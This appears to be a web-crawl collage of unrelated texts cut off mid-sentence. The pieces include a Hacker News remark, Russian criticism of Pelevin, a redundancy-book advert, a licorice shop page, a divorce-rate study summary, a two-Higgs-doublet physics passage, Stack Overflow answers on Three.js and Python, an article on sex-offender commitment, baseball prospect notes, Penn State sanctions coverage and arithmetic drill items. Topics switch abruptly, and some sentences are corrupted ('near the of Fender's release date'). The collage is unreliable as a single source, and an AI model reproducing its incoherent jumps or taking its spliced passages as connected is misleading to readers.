http://www.ft.com/cms/s/0/7087e55a-8462-11df-9cbb-00144feabdc0.html
======
RiderOfGiraffes
Requires me to register ... I'm not _that_ interested ...
Сказать, что «мнения о романе разделились» или что «книга вызвала противоречивые реакции», значило бы сильно смягчить ситуацию. Роман будто обозначил демаркационную линию, разделившую российских критиков на два непримиримых лагеря. Для критиков-традиционалистов «Чапаев и Пустота» очевидно воплотил всё самое ненавистное в постсоветской (или постмодернистской) прозе, прежде всего — установку на литературу как игру, не имеющую за собой духовного или социального содержания. Андрей Немзер на страницах газеты «Сегодня» предлагает просто заполнить отведённый для рецензии объём чёрным прямоугольником. Павел Басинский пишет в «Литературной газете» (невольно или сознательно отсылая к записным книжкам Блока — «лезет своими одесскими глупыми лапами в нашу умную петербургскую боль»): «Каждый различающий и уважающий своё национальное, профессиональное, то есть в конце концов культурное, лицо человек не может воспринимать прозу Пелевина иначе, как хамское нарушение незыблемого privacy, какого-то неписаного закона: не касайся холодными руками того, что другими руками согрето, что тебе забава, а другим мука и радость» (Пелевин не останется в долгу, выведя критиков в унизительном виде и под легко узнаваемыми псевдонимами в своих следующих книгах). Чуть позже эту позицию косвенно поддержит жюри «Русского Букера» Литературная премия, вручавшаяся в 1992–2017 годах за лучший роман на русском языке. Была учреждена по инициативе Британского совета как российский аналог английской Букеровской премии |
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] | components in order to give you the best chance of success at getting back into work. Because this book takes a holistic view of redundancy, one of the key elements to master first of all is wellbeing skills, before progressing through exploring what options are available to you and later, learning the practical job skills. This book is different because it does not just focus on one element of redundancy, but on the many barriers you need to conquer if you are to successfully get back into work, I show you how to deal with the inner trauma and turmoil of being made redundant (health and wellbeing skills), before focusing on the practical elements such as job skills, and deciding on your future path.
I have worked in management roles for seven years. Part of my management duties entailed interviewing, recruiting, training and coaching staff and I took part in every aspect of the recruitment process from placing the advert to completing staff inductions and training. I have also experienced the other side of the recruitment process, when I was applying for work and being interviewed for jobs whilst redundant. I have been made redundant twice and each time managed to successfully work my way back up the career ladder. It is from experience that I have gained insight into both points of view and I am able to help others.
This book is the first Quirky Book that I published and it's under my own imprint of Quirky Books. It's unique and groundbreaking because it combines two genres, an A-Z Guide with a How To book. Each of its A-Z chapters is about an element of redundancy, and within each chapter it explains how to do things related to that element to break though your barriers of redundancy and beat your redundancy blues. That’s what makes it a quirky book.
Buy it from Amazon UK: http://www.amazon.co.uk/BREAK-THROUGH-BARRIERS-REDUNDANCY-GUIDE-ebook/dp/B0128RWB5O
Buy it from Amazon USA:
http://www.amazon.co.uk/BREAK-THROUGH-BARRIERS-REDUNDANCY-GUIDE-ebook/dp/B0128RWB5O
Like on Facebook www.facebook.com/BreakThroughTheBarriersOfRedundancyBook
You can view my quirkybooks writing blog at http://www.quirkybooks.wordpress.com
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Candy & Licorice
The Netherlands is the largest consumer of licorice per capita in the world. When we talk about Dutch licorice, we are not talking about red vines or twists – this is hard core Dutch black licorice. We import a large assortment of licorice and we’ve got a “wall of licorice” in our store.
Licorice is often referred to as Drop or Dropjes in The Netherlands. The best varieties are made with real licorice root. Before the actual process of making licorice confections came along, licorice root was chewed because of its typical sweet anise flavor and medicinal effects.
Salty varieties are unique to Dutch black licorice. These salty varieties contain ammonium chloride, which is offset by the sweet nature of licorice extract. Dutch black licorice is made in just about every shape and texture you can imagine. From Flat little diamonds known as Salmiak pastilles, to Farm animal shapes, buttons, coins (aka Munten in Dutch), squares, triangles, bee hives, logs, cubes (griotten), balls, sticks, and pellets. Texture from very soft, soft, firm, and just plain hard. The significant brands from Holland are Venco, Red Band, Klene, Gustafs, Meenk, Mattijs, Katja along with many other minor brands or types. Click here to see all of the Dutch black licorice selections online.
Our candy selection includes a complete selection of chocolate bars imported and made in the USA, bulk wrapped candies, Birnn Truffles from Vermont, Albanese Gummi products, Ginger People ginger candies, every flavor of Mentos, King and Wilhelmina Peppermints. Haribo Gummies, Bali’s Best coffee candy, Winegums, and Canada mints in 4 flavors. Nostalgic confections and favorite childhood treats round out the assortment for young and old.
Next to our wall of licorice we have 21 colors of M&M’s in bulk. Great for candy bars or special occasion events that require color coordinating – also school colors. Last by not least – Jelly Belly’s in over 40 different flavors including their famous 49 flavor assortment. You can make your own assortment or enjoy your favorite flavor.Why are divorce rates higher in religiously conservative “red” states and lower in less religiously conservative “blue” states? After all, most conservatives frown upon divorce, and religious commitment is believed to strengthen marriage, not erode it. Even so, religiously conservative states Alabama and Arkansas have the second and third highest divorce rates in the U.S., at 13 per 1000 people per year while New Jersey and Massachusetts, more liberal states, are two of the lowest at 6 and 7 per 1000 people per year.
Evangelicals and divorce. For a new study appearing later this month in the American Journal of Sociology, Demographers Jennifer Glass at the University of Texas and Philip Levchak at the University of Iowa looked at the entire map of the United States, going county by county, to examine where divorces occurred in 2000 and what the characteristics of those counties were. Their work confirms that one of the strongest factors predicting divorce rates (per 1000 married couples) is the concentration of conservative or evangelical Protestants in that county.
Figure 1. Map of U.S. counties by divorce rate
Previous discussions of this puzzling paradox have focused on three alternative explanations.
Is it poverty? Some scholars argue that it has nothing to do with religious beliefs and practices, but reflects the fact that conservative religious groups are most concentrated in rural and Southern counties, which tend to have lower wages than the national average and higher rates of poverty. And research does show that such conditions do raise the risk of divorce. Yet even controlling for income and region, divorce rates tend to be especially high in areas where conservative religious groups are prominent.
Is it higher rates of marriage overall? Others believe that the higher divorce rates among religious conservatives are due to their endorsement of marriage as a good thing in and of itself and their disapproval of cohabitation as a replacement. This means that some unstable or troubled couples go ahead and marry who might simply cohabit if they lived in counties with less religious disapproval. Since cohabitations often dissolve relatively quickly but do not show up in divorce statistics, some scholars suggest that marriage in conservative religious communities is less selective of strong relationships. But in Glass and Levchak’s study, the link did not hold up. So even though conservative Protestants are much less likely to cohabit, this didn’t make a difference. There was no evidence that cohabiting would have “weeded out” the less promising unions
Is it just regional culture in religiously conservative Southern states? A third explanation offered before is that the dominance of religious conservatives in the South reflects a regional culture that also promotes relatively high rates of interpersonal violence – factors that destabilize marriage. But while high rates of violent crime do increase divorce rates, Glass and Levchak found that a careful analysis of variations nationally reveals that this explains none of the association between religious conservatism and divorce.
New answers: early marriage and low income among religious conservatives are part of the story. Unpacking these variations, Glass and Levchak found that the high divorce rate among conservative religious groups is indeed explained in large part by the earlier ages at first marriage and first birth, and the lower educational attainment and lower incomes of conservative Protestant youth.
Explains Glass, “Restricting sexual activity to marriage and |
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] | of the internal quark, which in general can be either the up ($u$), down ($d$), strange ($s$), charm ($c$), bottom ($b$) or top ($t$) quark. The coefficient ${c^{\tiny\mathrm{{2HDM}}}_{\tiny H,q}}$ in Eq. originates from the Higgs-boson–quark coupling and is in the [2HDM]{}, type II different for up- and down-type quarks and also different for the production of a light or a heavy, neutral Higgs boson: $$\begin{aligned}
\label{eq:chl}
&&c^{\tiny\mathrm{{2HDM}}}_{\tiny{H_\mathrm{l}},q}=\phantom{+}{{c_{\alpha\beta}}}/{{t_{\beta}}} - {s_{\alpha\beta}}\;\;\;\;
\mbox{and}
\;\;\;\;
c^{\tiny\mathrm{{2HDM}}}_{\tiny{H_\mathrm{h}},q}={c_{\alpha\beta}}+ {{s_{\alpha\beta}}}/{{t_{\beta}}}
\;\;\;\;\mbox{for}\;\; q\in\{u,c,t\},\\\nonumber
&&c^{\tiny\mathrm{{2HDM}}}_{\tiny{H_\mathrm{l}},q}=-{{c_{\alpha\beta}}}\;{{t_{\beta}}} - {s_{\alpha\beta}}\;\;\;\;\,
\mbox{and}
\;\;\;\;
c^{\tiny\mathrm{{2HDM}}}_{\tiny{H_\mathrm{h}},q}={c_{\alpha\beta}}- {{s_{\alpha\beta}}}\;{{t_{\beta}}}
\;\;\;\;\,\mbox{for}\;\; q\in\{d,s,b\}.
$$ The production of the SM Higgs boson corresponds to the case where ${c^{\tiny\mathrm{{2HDM}}}_{\tiny H,q}}$ is equal to one. We consider only the top quark as massive and all other fermions as massless, i.e. only the case $q=t$ contributes to Eq. (\[eq:ggHLOSigma\]). In this case only $c^{\tiny\mathrm{{2HDM}}}_{\tiny{H_\mathrm{l}},t}$ or $c^{\tiny\mathrm{{2HDM}}}_{\tiny{H_\mathrm{h}},t}$ of Eq. (\[eq:chl\]) contributes to Eq. (\[eq:AHggLO\]). For simplicity we will drop the label $t$ in the following, i.e. $c^{\tiny\mathrm{{2HDM}}}_{\tiny{H_\mathrm{l}}}\equiv c^{\tiny\mathrm{{2HDM}}}_{\tiny{H_\mathrm{l}},t}$ and $c^{\tiny\mathrm{{2HDM}}}_{\tiny{H_\mathrm{h}}}\equiv c^{\tiny\mathrm{{2HDM}}}_{\tiny{H_\mathrm{h}},t}$. In particular, $c^{\mbox{\tiny{{2HDM}}}}_{{H_\mathrm{l}}}$ of Eq. (\[eq:chl\]) becomes one, i.e. SM-like, in the alignment limit given in Eq. (\[eq:alignmentlimit\]). One can also find a combination of ${c_{\alpha\beta}}$ and ${t_{\beta}}$ such that $c^{\tiny\mathrm{{2HDM}}}_{\tiny H}$ becomes arbitrary small or even zero. In this case, the two-loop, electroweak corrected process becomes the true leading order process.
There are no real corrections which have to be determined when computing the NLO electroweak corrections for this process. Consequently, one can straightforwardly apply the results for the electroweak percentage correction, which has been obtained for the cross section of the production process $g+g\to H$ in Eq. (\[eq:ggHLOSigma\]), to the partial decay width of the process $H\to g+g$. The partial decay width and the production cross section are related by $$\Gamma_{\mbox{\tiny{LO}}}(H\to g+g)={8M_H^3\over\pi^2}\hat{\sigma}_{\mbox{\tiny{LO}}}(g+g\to H).$$
The Feynman rules for the [2HDM]{} of type II, which has been defined in Section \[sec:model\], have been produced in an automated way with the help of [@Alloul:2013bka]. The one- and two-loop diagrams have been calculated with , which is an extension of [@Actis]. It generates the Feynman diagrams with [@Nogueira:1991ex] and performs algebraic manipulations of the amplitudes and loop integrals with the help of [@Vermaseren:2000nd; @*Kuipers:2012rf]. The program performs the standard Dirac algebra operations and projects the expressions onto form factors. In addition, it removes reducible scalar products and uses integration-by-parts identities in order to simplify tadpole contributions. Finally, it reduces the number of loop integrals by means of symmetrization. Further details regarding these techniques can be found in Ref. [@Actis:2008ts]. After these manipulations, one remains with a two-loop amplitude that requires numerical evaluation, which is done with a Fortran code. In particular, the two-loop integrals are evaluated in Feynman-parametric space with the help of a Fortran library. For the numerical integral evaluation of the two-loop massive diagrams, the library uses the methods of Ref. [@Passarino:2001wv; @*Passarino:2001jd] for self-energies and of Refs. [@Actis:2008ts; @Ferroglia:2003yj; @*Passarino:2006gv; @Actis:2004bp] for vertex functions.
Compared to the production of a light, neutral, SM-like Higgs boson ${H_\mathrm{l}}$ in gluon fusion in the alignment limit, which has been addressed already briefly in Ref. [@Denner:2016etu], the non-alignment limit case and the production of a heavy, neutral Higgs boson ${H_\mathrm{h}}$ is computationally more involved. While the calculation of the integrals for the production of the SM-like Higgs boson ${H_\mathrm{l}}$ in the alignment limit can be completely traced back to the calculation of the pure SM case, which was discussed in Refs. [@Actis:2008ug; @Actis:2008ts], new integral structures appear in the general case. They are generated by new diagrams, a sample of which is shown in Fig. \[fig:vh\]. The first diagram is non-planar and leads to a new rank 2 integral. In the SM and in the alignment limit, this diagram only exists with two Z-bosons. The same type of diagram exists for the W-bosons and the charged Higgs bosons (second diagram of Fig. \[fig:vh\]). Since different types of fermions appear in this diagram, it leads to rank 3 integrals, and hence, the calculation becomes even more involved. In the SM, it was possible to cancel the rank 3 integrals since there were fewer different bosonic masses in the denominators. A new planar diagram, which appears in the general case of the [2HDM]{}, is depicted at the rightmost side of Fig. \[fig:vh\]. After performing the obvious reduction as explained in Ref. [@Actis:2008ts], some diagrams lead to collinear divergent structures; the new ones, not present in the alignment limit, are shown in Fig. \[fig:Vcoll\]. In particular, the second non-planar diagram of Fig. \[fig:vh\] leads to the more complicated collinear structure depicted in the second diagram of Fig. \[fig:Vcoll\]. More details regarding the cancellation of these new collinear singularities are given in Section \[sec:tests\].
![Sample diagrams that do not appear in light Higgs-boson production in the alignment limit are shown. In the second and third diagram, the bottom quarks are considered to be massless. For light Higgs-boson production the contribution to the amplitude originating from these three diagrams is proportional to $\cos{(\alpha-\beta)}$. This is the reason why they vanish in the alignment limit. \[fig:vh\]](ggHaZHlHh "fig:"){width="4.5cm"} ![Sample diagrams that do not appear in light Higgs-boson production in the alignment limit are shown. In the second and third diagram, the bottom quarks are considered to be massless. For light Higgs-boson production the contribution to the amplitude originating from these three diagrams is proportional to $\cos{(\alpha-\beta)}$. This is the reason why they vanish in the alignment limit. \[fig:vh\]](ggHpWmHlHhVH "fig:"){width="4.5cm"} ![Sample diagrams that do not appear in light Higgs-boson production in the alignment limit are shown. In the second and third diagram, the bottom quarks are considered to be massless. For light Higgs-boson production the contribution to the amplitude originating from these three diagrams is proportional to $\cos{(\alpha-\beta)}$. This is the reason why they vanish in the alignment limit. \[fig:vh\]](ggHpWmHlHhVK "fig:"){width="4.5cm"}
In Section \[sec:results\], we provide numerical results for the NLO, electroweak corrections to the production processes $g+g\to
{H_\mathrm{l}}$ and $g+g\to {H_\mathrm{h}}$ for various [2HDM]{} scenarios. We define the NLO corrections in terms of the K-factor $$\begin{aligned}
|
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] | different between groups. Exenatide added to TZDs alone or in combination with metformin significantly improved glycaemic control as determined by significant improvement in HbA(1c) without associated hypoglycaemia.F21 Contemporary We borrowed the boxy silhouette and chambray fabrication of this collared Life in Progress shirt from classic men's workwear (so you can finally stop stealing the shirts from his closet) then updated it with pleated utility pockets and a covered button placket modern details that balance its slightly oldfashioned ethos. We're playing up this piece's borrowedfromtheboys feel by teaming its unstructured fit with slim cuffed jeans and desert boots just don't forget to add a bright lip and a pretty topknot (because the best part of tomboy dressing is gussying it up with a few coolgirl touches). Lightweight woven. Unlined long sleeves. 100% lyocell. 21" full length 20" chest 20" waist 24" sleeve length. Measured from Small. Machine wash cold. Imported.Q:
Problems verifying and running javascript (html5 canvas)
For one of my courses I need to program a 3D application in html5 canvas. For this I chose to use Three.js. For now, all I'm trying to do is render a simple plane. I also want to be able to move the camera along the x-axis by holding down the mouse and dragging. I based my code on the code found here. It's basically a plane which is spinning around (or the camera is circling around the plane, not sure which). I threw away all the code for the animation and added code for mousedown, mousemove, etc events. When I load the page it renders the plane (inanimate) just fine, but when I try to use my mouse to move it around it remains completely unresponsive. In my code you may have noticed I changed some things I maybe shouldn't have (made some variables global and changed some function names) in order to get things working, but the result remained the same.
This is the first time I'm working with javascript and I realize I can't just change existing code and expect it to work. I looked into javascript verification and I found JSLint. I downloaded the plugin for notepad++ and tried to verify my code that way. It doesn't like the html tags and it especially hates the Three.js library I'm trying to import. It doesn't pick up on it when I import it as url and it doesn't import it when I download it and import the file either. When I just copied the code of the entire library into the file it just gave me a lot of errors about the library itself and stopped verifying somehwere before my code even started.
In conclusion: I would like some help with the project itself but also with setting up a pleasant development environment (with proper verification that doesn't ignore imports).
Finally, my code so far:
<!DOCTYPE HTML>
<html>
<head>
<title>Canvas demo</title>
</head>
<body>
<script type="text/javascript" src="three.js">
</script>
<script type="text/javascript">
var camera;
var scene;
var plane;
var renderer;
var clickX;
var clickY;
var mousedown;
window.onload = function () {
renderer = new THREE.WebGLRenderer();
renderer.setSize(window.innerWidth, window.innerHeight);
document.body.appendChild(renderer.domElement);
//camera
camera = new THREE.PerspectiveCamera(45, window.innerWidth / window.innerHeight, 1, 1000);
camera.position.y = -450;
camera.position.z = 400;
camera.rotation.x = 45;
//scene
scene = new THREE.Scene();
//plane
plane = new THREE.Mesh(new THREE.PlaneGeometry(300, 300), new THREE.MeshBasicMaterial({color: 0x0000ff}));
plane.overdraw = true;
scene.add(plane);
rerender();
};
window.requestAnimFrame = (function (callback){
return window.requestAnimationFrame ||
window.webkitRequestAnimationFrame ||
window.mozRequestAnimationFrame ||
window.oRequestAnimationFrame ||
window.msRequestAnimationFrame ||
function(callback){
window.setTimeout(callback, 1000 / 60);
};
})();
function rerender(){
//render
renderer.render(scene, camera);
//request new frame
requestAnimFrame(function(){
rerender();
});
}
$('#canvas').mousedown(function(e){
clickX = e.pageX - this.offsetLeft;
mousedown = true;
});
$('#canvas').mousemove(function(e){
if(mousedown) {
var xDiff = e.pageX - this.offsetLeft - clickX;
camera.position.x = xDiff;
rerender();
}
});
$('#canvas').mouseup(function(e){
mousedown = false;
});
$('#canvas').mouseleave(function(e){
mousedown = false;
});
</script>
</body>
</html>
A:
You have various issues here that are preventing your code from running properly. I've gone through and fixed them, and you can now move the camera along the x-axis:
http://jsfiddle.net/TVWYn/6/
Your issues were:
You're using jQuery and not including the jQuery library. The dollar
sign function is not part of JavaScript, it's (in this case) part of
a third-party library called jQuery that makes working with the DOM
easier. Without including the jQuery library, your mouse handlers
couldn't run.
Even with jQuery included, the order in which your setup functions
executed was incorrect. Originally you had your Three.js setup
process such that it would execute once the DOM was initialized.
That's good. However, you were trying to register mouse event
handlers immediately after the JS was acquired by the browser. This
is not good. You're asking JS to attach mouse event handlers to DOM elements that don't exist at that point in time. To fix this,
you need to ensure that the DOM has been initialized (ex. running your setup inside a window.onload) and your
required elements have already been inserted (in this case,
#canvas). Or, attach your event handlers to the DOM objects directly (ex. renderer.domElement).
You were referencing #canvas without ever setting the id of your
canvas element.
With regard to setting up a proper development environment, I would strongly suggest that you start using Chrome and its developer tools (which are launched via ctrl+shift+j).
"There are some unusual legal and professional conundrums that
you come up against in this type of treatment," said Dr. Mark
McClung, who directs psychiatric treatment at the Special Commitment
Center, McNeil Island, Wash., and is a psychiatrist in private practice
in Seattle.
The SCC in Washington was created after the state legislature
passed its sexually violent predator law in 1989, following several
highly publicized sexual assaults and sexually motivated homicides. The
legislature cited the need for a commitment law for a "small but
extremely dangerous group of sexually violent predators" who did
not have a mental disease under the existing involuntary commitment act.
There are currently 127 male and 1 female sexual predators on the
SCC unit at McNeil Island, ranging in age from 18 to 70 years. Sixty
percent of the residents, mostly rapists and pedophiles, have chosen to
participate in sex offender treatment, and 30% are on psychotropic medication. Six have been released by court order and are living in
different community settings, either assisted residential living or with
family members, Dr. McClung said at the annual meeting of the American
College of Forensic Psychiatry.
Antiandrogens are an accepted part of sexual offender treatment at
SCC. Studies show these medications lower "reoffense" rates in
sexual predators up to 9 years, Dr. McClung said. However, patients and
their attorneys sometimes request or demand treatment with antiandrogens
for the purpose of being released early, rather than recovery "Does
an offender have an absolute right to be placed on antiandrogens?"
Dr. McClung asked.
Such questions are difficult to resolve. He has found that
antiandrogens are most helpful when administered near the of
Fender's release date. The decision of whether to prescribe them
should often be made on a case-by-case basis.
About 40 residents at SCC are receiving psychotropic medication for
Axis I disorders, including paraphilia. A minority has compliance
problems, and whether or not they should be involuntarily medicated has
occasionally had to be resolved by the state's courts.
COPYRIGHT 2002 International Medical News Group
No portion of this article can be reproduced without the express written permission from the copyright holder.Q:
After drawing circles on C# form how can i know on what circle i clicked?
I have to represent |
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] | more effective, ERA-wise, each season. His peripherals aren’t special (88 K’s and 30 BB’s in 98 innings), but there’s nothing particularly bad about them either.
The scouting report has him with a 2-seam FB that sits around 90, bumping up to 93, with a good curveball he can manipulate. In 2016, his catcher in High-A, Tyler Marlette, said that “He was probably one of my tougher guys to catch, honestly. His two-seam runs so much, it’s just electric.” In that story, Herb said he was also working on a slider.
My favorite quote came from a different article, earlier in the year. He struck out 19 batters in 11 innings in his first two starts, but he said to milb.com:
"I actually said after our last game that I need to get some more early contact so I can go deeper into games.”
Baseball Prospectus said, in their scouting report, “some maturity issues, poor adversity response”. He has had some problems in the past, but I love the thought that comes with that quote.
Herb has not been a part of prospect rankings in the Mariners system, anywhere. Baseball Prospectus has his realistic ceiling as a middle reliever, with perhaps, if you squint real hard, a back-end starter as a groundballer. In three years of MinorLeagueBall.com gradings, Herb has not even gotten a mention. Not at the C level, nor in the comments.
But, my take is this: This is a better player than I expected in the PTBNL return. He’s far from a sure thing major leaguer. But he’s a player on the upswing, with sustained career improvement. He’s continuing to show improvement in his control, but not spiking in a way that might predict a downswing. But even if he doesn’t push the majors, he’s starting depth at the high levels. With Clayton Blackburn traded, Joan Gregorio suspended, and perhaps a trade of Johnny Cueto…not to mention Matt Moore being unable to do anything…the Giants will need bodies at the AA and AAA levels. Herb’s not a bad one to have.
The Giants could have done a lot worse.
A Returning Old Friend
A familiar name is back with the Giants.
Seth Rosin, originally drafted by the Giants in the 4th round of 2010, signed with the Giants on July 5th, and headed to Richmond. Rosin has made 4 appearances in the Majors, with Texas and Philadelphia, with a 12.00 ERA. He does have a 3.93 ERA in the minors across 8 minor league seasons. Most recently, he spent most of 2016 on the DL, posting a 8.31 ERA in 5 relief appearances. He’s been a reliever since the 2014 season.
Rosin departed the Giants as part of the Hunter Pence trade in July of 2012. After that, his career path makes Crash Davis’s look steady. In 2013, the Mets selected Rosin in the Rule 5 draft. The same day, the Mets traded Rosin to the Dodgers for cash. The Dodgers waived Rosin in the spring of 2014, and was picked up by the Rangers, but was waived two weeks later and was returned to Philadelphia (Remember, even if waived or traded, a Rule 5 drafted player must stick on an active 25-man roster all season or be returned to his previous team). Rosin stuck with the Phillies for 2 more years. After 2015, Rosin went to the Padres in free agency, and then he joined the Twins in the offseason after 2016. He was waived after Spring Training, and went unsigned until signing with the Giants.
*sigh* That is a lot of teams, a lot of movement.
Rosin has a low-90’s fastball, whose calling card was his sinker. He does have a four-seamer that has hit the higher 90’s in the past, but he hasn’t shown that as much recently. A lot of his development in the past has depended on his development of secondary pitches, a slider and changeup. While I can’t find any first-hand reports in the last few years, I’m guessing he hasn’t solidified it yet. However, he’s had good control for most of his career.
Rosin, now 28, is likely here to fill out innings where the Giants need it in the system. But then again, a groundball specialist and a major league bullpen that has had a lot of struggles…it’s not impossible Rosin gets a shot with his original franchise. Just highly unlikely.
Rosin, in his first appearance this year, gave up a ground rule double that blew a save in the 7th inning in Friday’s game.
Released!
A couple of names got released from the Giants organization. OF Christoph Bono and C Rene Melendez, most recently playing with Salem-Keizer, got released as many 2017 draftees have joined the team.
Also, catcher Ryan Matranga retired. The 36th round pick from 2016 only played 5 games last season, and none this year.
Hitter of the Week - Jacob Gonzalez
There’s nothing like coming out of the draft being called a significant overdraft and being red hot.
2017 2nd round pick Jacob Gonzalez has been blisteringly hot to start his pro career in the Arizona Rookie League. This week, he’s gone 11-for-20 with 3 doubles and a triple. Although he hasn’t walked, a couple of HBPs give him a .550/.590/.800 line.
There isn’t much more to say for Jacob so far in his young career, as he has only played in two other games. But it’s notable that some of the draft analyzers indicated that they didn’t like the Giants’ draft, and notably called out the second round pick as being over-drafted. The Giants wouldn’t be the Giants if they didn’t have at least one such player being accused of that. A week and a half isn’t going to disprove anyone…but it’s got to taste pretty sweet.
Pitcher of the Week - Jose Flores
Jose Flores proved worthy of a promotion to Sacramento in just one start.
Flores went 7 shutout innings on July 4th, allowing just a hit and a walk while striking out a season-high 10. The 28-year old started the season as a reliever with Richmond before getting called to start in late May. He put up a 2.09 ERA with Richmond, with a 2.43 ERA in 7 starts.
Flores was signed as a free agent in the offseason, after putting up a 4.54 ERA as a reliever in the Mexican League last year. He hasn’t been a regular starter since his first pro season, back in 2007 with the Indians in the DSL. He’s got a career 3.71 ERA, and going down with his performance this year.
Saturday’s Lines
Saturday’s Boxes 1 AAA - Game 1 R H E AAA - Game 2 R H E AA R H E High-A R H E AAA - Game 1 R H E AAA - Game 2 R H E AA R H E High-A R H E Tacoma 3 7 1 Tacoma 0 3 1 Richmond 11 14 0 Modesto 1 8 1 Sacramento 6 14 2 Sacramento 3 8 0 Bowie 7 11 0 San Jose 0 6 1
More of Saturday’s Boxes.csv Low-A R H E Short-A R H E DSL R H E Low-A R H E Short-A R H E DSL R H E Asheville 8 14 0 Salem-Keizer 10 18 1 DSL Giants 5 8 1 Augusta 2 5 3 Everett 8 9 3 DSL Blue Jays 6 7 1
Saturday’s Hitters TEAM Player Pos AB R H 2B 3B HR RBI BB SO AVG TEAM Player Pos AB R H 2B 3B HR RBI BB SO AVG SAC-1 Juniel Querecuto SS 3 1 2 0 0 0 0 0 1 0.667 SAC-1 2- Juan Ciriaco PR-3B 3 1 2 1 0 0 0 0 1 0.667 SAC-1 Justin Ruggiano CF 4 1 1 0 0 1 3 0 1 0.250 SAC-1 a- Chris Shaw PH-LF 4 2 3 0 0 1 1 0 1 0.750 SAC-1 Ryan Lollis 1B 4 1 2 2 0 0 1 0 0 0.500 SAC-1 Orlando Calixte RF 4 0 1 0 0 0 1 0 0 0.250 SAC-2 Chris Shaw LF 3 0 1 0 0 0 0 0 1 0.307 SAC-2 T.J. Bennett 2B 2 1 1 0 0 1 1 1 1 0.143 RIC C.J Hinojosa SS 3 2 2 1 0 1 1 1 0 0.298 RIC K.C. Hobson 1B 4 2 2 0 0 1 1 1 1 0.250 RIC Brandon Bednar 3B 5 2 3 1 0 0 2 0 0 0.264 RIC Dylan Davis DH 4 1 3 0 0 1 5 0 1 0.230 SJ Ryan Howard SS 4 0 1 0 0 0 0 0 0 0.323 SJ Gio Brusa LF 2 0 1 0 0 0 0 1 0 0.246 AUG Jean Angomas RF 4 1 1 0 0 0 0 |
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] | a somewhat strange order for a statistical modeling project.
In particular, I need the following to be upheld:
Uniqueness: Each file must only be in the list once
Pairs: Each file must be next to another file from the same folder (it can be next to two if due to randomness)
Randomness: The probability of any two files that are not "paired" being next to each other should be the same (i.e. it wouldn't work just to iterative over all files)
I've created an example below.
Files
Folder_1
- File_A
- File_B
- File_C
- File_D
Folder_2
- File_E
- File_F
- File_G
- File_H
Good Result (randomized, but upholds the rule of pairs)
paths = ['Folder_1/File_A', 'Folder_1/File_D', 'Folder_2/File_G', 'Folder_2/File_F', 'Folder_2/File_E', 'Folder_2/File_H', 'Folder_1/File_C', 'Folder_1/File_B']
A simple approach might be something like "Pick a random folder, pick a random file in that folder and a random pair in the folder. Save these picks in a list to avoid getting picked again. Repeat.". However, that would take far too long. Can you recommend a good strategy for creating this list? The randomness requirement can be relaxed a bit if needed.
A:
One way to ensure that everything's random is to use random.shuffle, which shuffles a list inplace. That way you can simply pair each item with its neighbor, safe in the knowledge that the pairing is random. To achieve a result like your example you can then shuffle and flatten the resulting list of pairs. Here's an example:
from random import shuffle
# generate some sample directory names
ls = [[]] * 5
i = 0
while i < len(ls):
ls[i] = [str(i) + chr(j) for j in range(97,101)]
i += 1
# shuffle files within each directory
pairs = []
for l in ls:
shuffle(l)
pairs += list(zip(l[1::2], l[::2]))
# shuffle and flatten the list of pairs
shuffle(pairs)
flat = [item for sublist in pairs for item in sublist]
print(flat)
Sports
3:57 pm
Mon July 23, 2012
Penn State Sanctions Charter 'Unprecedented' Ground, Author Says
NCAA President Mark Emmert answers questions about the sanctions against Penn State's football team during a news conference in Indianapolis, Monday, July 23, 2012. The NCAA slammed Penn State with an unprecedented series of penalties in the wake of the Jerry Sandusky child sex abuse scandal.
Michael ConroyAP
The sanctions slapped on Penn State football in the wake of the Jerry Sandusky sex abuse scandal charter a new territory in punishment by the NCAA, a sports author said today.
"I think it is unprecedented in terms of taking away wins. That's a huge blow," says Ted Kluck, author of several books on sports, including Game Time: Inside College Football.
Kluck noted that Penn State avoided the NCAA "death penalty," which would have prevented the football team from competing at all for one season.
"There were a lot of people who speculated that it might happen at Penn State," says Kluck. "But then there was a lot of discussion as to whether they really wanted to punish the kids who are under scholarship and the people who didn't have anything to do with what happened."
As we noted earlier today, the NCAA hit Penn State with a $60 million fine, the forfeiture of all of the football team's wins since 1998, ban on participation in post-season football bowl games for four years and a reduction in the number of football scholarships from 25 to 15 for four years.
For some fans, such as Chuck Pudliner, simply escaping without the harshest of harsh penalties was not enough to assuage bruised egos.
"Just to think this all came about because of one twisted person is unbelievable," Pudliner wrote on PSU's Facebook page referring to Sandusky, a former assistant coach who was convicted of sexually assaulting 10 boys.
"It's more than just football," he said. "Kids' possible future careers are affected by this also."
Kluck says NCAA President Mark Emmert is taking his association — an umbrella for most of the country's university athletic programs — into new territory.
Emmert, who took over the post of president less than two years ago, is "essentially trying to punish a criminal, non-football violation within the framework of an athletic association," says Kluck.
"He's also responding to something that happened in the past with a sanction that hurts the program in the present," Kluck said. "That said, his tenure will be defined by this incident, and he had to do something."
Laying out the penalties on Monday, Emmert alluded to the support that had grown up at PSU around Paterno and his legendary football program, chastising the university for athletic "hero worship."
"Anytime idealism dies, cynicism follows. People are cynical now in the wake of this because their idol fell. There will be no satisfying resolution to this," he said./((-272)/306) and -3*-3*(-2)/(-4)?
20
Suppose 2*k - 4*k = -20. What is the smallest common multiple of 6 and k?
30
Calculate the lowest common multiple of (15/(-10))/((-3)/22) and 6.
66
Let y = -3951/8 - -493. Find the common denominator of -10/13 and y.
104
Let c = 190 - 150. Calculate the smallest common multiple of c and 4.
40
Let r be (-4)/(-2) + -1 - -2. Suppose r*m - 3910 = -20086. Let a = -32263/6 - m. What is the common denominator of a and 65/4?
12
Let k = 29112 + -7365326/253. Let l = -3409/3036 + k. Find the common denominator of l and 51/2.
12
Suppose -4*w = -3*d - 121, -2*w + 3*d - 47 = -4*w. Suppose v = 4*v - 30. Calculate the smallest common multiple of v and w.
140
Suppose 6 = 5*j - 4. Suppose -2*b = -0*b - j. What is the least common multiple of (-4 + 2)/((-3)/12 + 0) and b?
8
Suppose 4*b - b = 18. Let g(w) = w**2 - 3*w - 8. What is the least common multiple of 12 and g(b)?
60
Suppose 0 = -5*t + 2*g + 6, -18 = -5*t - g - 3*g. Suppose v - t*v = -6. What is the least common multiple of v and 22?
66
Suppose 0 = -3*o + o - 8. What is the common denominator of (-14)/(-63)*381/o and -29/7?
42
What is the common denominator of -57/10 and ((-203)/(-78) - 3) + 0 + 0?
390
Let v(c) = -2*c + 16. What is the least common multiple of 1 and v(7)?
2
Let m = 19036 - 380827/20. What is the common denominator of m and (9/(-36))/((-4)/(-53))?
80
Let k(s) = s**2 + 9*s - 5. Calculate the smallest common multiple of k(-11) and 1.
17
